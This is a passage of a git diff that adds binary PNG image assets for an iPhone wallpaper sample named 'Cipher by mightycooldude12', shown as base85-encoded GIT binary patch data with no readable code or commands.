zHH}~Ts(qap6S@ygcc#UWRae2xvzii3je^@!7XiqGPYH+HjmXS;&U&OXXAyrm3-tmM z`b!Ff0rnO7?m>#nC}3??8)l{%05^_Wg}(Z0iQQOOuEm#jZQDbi&N|U5Q$=~O??Ya~ z@e#pZ@Q*i5*2x3}*VBKW1t=587>L%_;}V)0B-V?6?T@|@@(lwMC-BVX;lzT^lj`A* zg7RX`OAjYDm9@`ZIP0w`2j`5Rm>VoF@TDKVN!dv(H=8Y#e(np5zCXAL+1H}?tx@+R z>$FyzVG;5zYQn7~X<*uY*s*W@It8lHCd}6G4DlIxw_@swnObsd?3+U2#oeH%(7Bqf z{F|ng&8R}{2Mo&)@o|qQja+|oUkl9Cm&Y9Q{!oU3n>xWW zyXr8{rt?S6s~WnP;WPMA;nm9eM5a0_ zx*|DWmXA8zg^3Tr-_s;f;>Ejaj@ac{nHgSu@l7ixy6|{jUSfpbn|j+SF~5W>gei6R zQ6<;;Qh(LpWpD$0Vq@-C1PmL5-!r0;E_~*NQQ5yfUQgP=*Qsb}C%*N_n)&z=m5Im%mVhA!CZ7 zd5^1G8Nn(uic29`&afX1cbU?zzc%#=dQ)>G#N~Vco118IAw~0MFdSyJtha;CYFd9j z4I7@ygw3wsMK(V;pKnT=P!%i2%S7mw&toL}9HBE2Q;Z?+K74UkPRZrW)nA4m1}?nX z3A^fQP~GZ4-8p^w+K(K45R%75EPCXFRY*@g0NgP_Osls?-pr|&9crAw`8*;2h2N0% zSuVUxIl=U(R;ZNgOfes2#kUJPBcgZm2y&A2#=4NXpWBuae#kb2Uug73E>3RV>wfV~ zGk@HsT{hz6^}>DpW-BQmWzUlvOPP0>v=_S?vKW%L%*3t1)=lJJy1$BOM3uxJunG~N zRt#q|@TKe0`uAZep+`3$pnr;_?|bn z&&fURn|{h3o1VPBi(&Pcc53$qvV9tGCcZVEy}hW8B86@kUL=Ks)C8c6E<9!9l%)AO zwbByIaq3ry8`vEo3d7X z%4^>b)rJe2oF58o5vsCb5R6-{_!Al~FuaT6kPj)}q#|U435S&0< zMfKe7D-7aGzMV85Xi~+LGvcfKq(FxB2vlUIT1|O`nBG3U&@XjUGei@XU$nn&%9cDl z*~m_aktxh{H#)4X4>x<=;>gvS@ZklNvAVT|dbf!*gL;ZNq4Yt!`JBZ3=Q@qJSoCRJ z)Jx!S+eTpXGQr#?=f$RvvaRK&Os(GGtpCleSl6L=dy2VP*u}ZeTm!ik)O79{EeaU7 zjL7hj&-!_)HohM+SH{?9q3Oyd_0l~5nK<_2fkSO`C%>BIne^sS)`i^G2-6biB~k44 z%%b2pf8nx;IN4ClATM1YT%rZm{dK!tNt?x~_ZBiJV{KR2A?tt9p`8CkN35Jm&w(qv Xx{c>Q(^h{UtkzJ`QLcRS^!fh*v+($V literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext2.png new file mode 100644 index 0000000000000000000000000000000000000000..4e2a7f6156ae59c112974203a9330c4c1bee53ee GIT binary patch literal 12187 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext3.png new file mode 100644 index 0000000000000000000000000000000000000000..61381e2b3d1d3c64c8dae7900ced9d6d74ac3449 GIT binary patch literal 11563 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 